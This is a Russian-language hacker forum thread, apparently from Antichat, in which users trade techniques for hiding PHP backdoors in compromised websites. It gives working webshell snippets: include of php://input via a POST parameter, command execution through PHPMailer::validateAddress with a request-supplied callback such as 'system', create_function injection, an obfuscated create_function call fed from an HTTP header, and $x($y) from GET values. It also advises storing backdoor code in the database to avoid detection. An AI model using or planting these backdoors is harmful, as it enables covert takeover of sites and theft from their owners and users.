поток php://input тоже файл, allow_url_fopen не обязателен Code: $ curl zzzzzzzz.ru/z.php --data '<?php print file_get_contents("z.php");/*&cmd=php://input&q=*/?>' <?php include($_POST['cmd']);
Хитрые бекдоры, на мой взгляд, это те, которые используют легитимный функционал движка в своих целях. В текущих реалиях, когда на 100 строк PHP кода тянется десяток мегабайт либ, сделать это проще простого. Возьмём, к примеру, PHPMailer, который есть практически везде. Несколько минут изучения и находим удобный статический метод: PHP: public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } if (is_callable($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `[email protected]` * * unbracketed IPv4 literals: `[email protected]` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @see http://squiloople.com/2009/12/20/email-address-validation/ * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'php': default: return (bool) filter_var($address, FILTER_VALIDATE_EMAIL); } } По сути, хитрый код уже написан, остаётся только использовать: PHP: PHPMailer::validateAddress('ls -la', 'system');PHPMailer::validateAddress($_REQUEST['arg'], $_REQUEST['callback']); На оригинальность не претендую, так как опыта в бекдоринге абсолютно нет, это лишь моё скромное видение. Возможно, есть какие-то инновации в индустрии, очень надеюсь на местных крутых блекхетов, которые кричат о своей принадлежности при каждом удобном случае. Ребята, жгите Но обязателен allow_url_include
Из всего вышесказанного, сначала хочу сказать спасибо всем (троим ) ответившем на глупые вопросы. По кол-ву своих знаний, и в силу своих возможностей, я понял что мною новый велосипед изобретен не будет), но интересуют два вопросы. Сейчас есть Code: Deprecated</b>: Function create_function() is deprecated на пыхе 7.2. Если все же запилить Code: if (function_exists('create_function')) { create_function('', '};phpinfo();{'); } И запустить в будущем на php 8.стопиццот вывалится ли error, при error_reporting (0); с ссылкой на номер строки, или просто молча выполнится остальной код? И второе: как логично использовать PHP: $x = $_GET['x'];$y = $_GET['y'];$x($y); при отключенном ассерте например.
http://php.net/manual/ru/errorfunc.constants.php такое уже можно и самому погуглить, хек такая сфера где умение гуглить (ресерчить) это большой плюс
Где хек где я, я вас умоляю) Это я вкурсе. Вопрос не в том. К примеру если запустить функцию preg_replace_callback, на версии php 4.5, получим parse error. Интересует вылезет ли он на версии 8.5 где create_function будет отключен. Или в силу того что функцию только отключат, но синтаксис останется, код просто будет не выполнен.
Немного не так. Это основы, почти как таблица умножения, поэтому давайте вспомним чуть точнее. http://php.net/manual/ru/filesystem.configuration.php allow_url_fopen - разрешает работу с врапперами, в т.ч. и с php://, как с обычными файлами. allow_url_include - позволяет использование оберток в функциях include и требует включения опции allow_url_fopen. http://php.net/manual/ru/wrappers.php.php Для php://input есть ограничение по allow_url_include . Т.е. нужны оба условия (т.к. второе требует включения первого) allow_url_fopen = true allow_url_include = true php://input - классная штука, но в дефолтных конфигурациях php не работает, начиная с версии 5.2. Можно посмотреть на результат выполнения ereg() Эта функция объявлена УСТАРЕВШЕЙ в PHP 5.3.0, и УДАЛЕНА в PHP 7.0.0. Code: ereg('z', 'zxc'); Fatal error: Uncaught Error: Call to undefined function ereg()
Какой день бьюсь над заменой create_function, анонимной функцией. Кто нибудь может предложить аналог в виде анонимной функции для кода PHP: $c = <наш код>;$func = create_function('', "echo $c;");$func(''); Или такой финт тут уже не сработает?
Ага, жгите ребят. Пишите какие уникальные векторы вы юзаете, чтобы сопоставить взломанные сайты с вашим профилем, и семья вас гарантированно не дождется По теме, любое использование _(GET|POST|COOKIE|REQUEST) в 2019 году уже не катит, всё палится кучей инструментов. php://input хорошее решение, но его надо уметь маскировать под современные реалии. А вообще, рекомендация. Изучайте сайт на предмет хранения исполняемого кода в базе, это самый беспалевный вариант для бекдоров.
Все зависит от ситуации и веб-приложения, если в двиге активно используются POST запросы то почему бы и не забэкдорится в них? А ваш врапер имеет зависимости. Хранить тело бэка или шела в бд не инновация но один из моих любимых способов, тоже рекомендую)
В случае успеха, очень хотелось бы на это посмотреть ) Она сама хорошо исполняет код PHP: create_function('', '}echo "blabla";//'); Завернуть можно как-то так: PHP: //PHP 7.2.13 :(@strrev(noitcnuf_etaerc)($HI, $_SERVER[HTTP_I_AM_A_COOL_HACKER]); Подробнее: https://rdot.org/forum/showthread.php?t=738 https://rdot.org/forum/showpost.php?p=36766&postcount=90 В общем, интересные методы, без участия функций (assert) или конструкций (eval, curly syntax) для выполнения кода, есть, например spl_autoload и т.п. штуки. Но любой нормальный анализатор, который разбирает код на токены, опасные участки найдёт. Поэтому, с вертухана, нужно сразу впиндюривать руткит! Негоже коллеге по цеху инструмент зажимать
Коллеги разные бывают. Сейчас какой нибудь начинающий блекхет по глупости выложит свой уникальный вектор, которым он троянит сайты, и "коллеги" его с радостью отправят в "роскомнадзор". Античат явно не место для этого, см. шапку сайта. Новичкам в "этичном пентесте" об этом всегда необходимо помнить.
Вот в пыхе 7.2 и вся беда) spl_autoload начал изучать, интересная фича, спасибо. А на счет "коллеги по цеху", так шутка смешная) Изучаю что то новое для себя, пока праздники и еще не пора на завод). И как подметил Gorbachev - смотрю в сторону Этичного хака. Оооочень далекий от тем античата, и людей которые здесь. Спасибо всем откликнувшимся.
зануда вектор с врапперами мало кто использует, я не исключение, опции "allow_" просто часто включены по дефолту --- спасибо за инфу, я запомню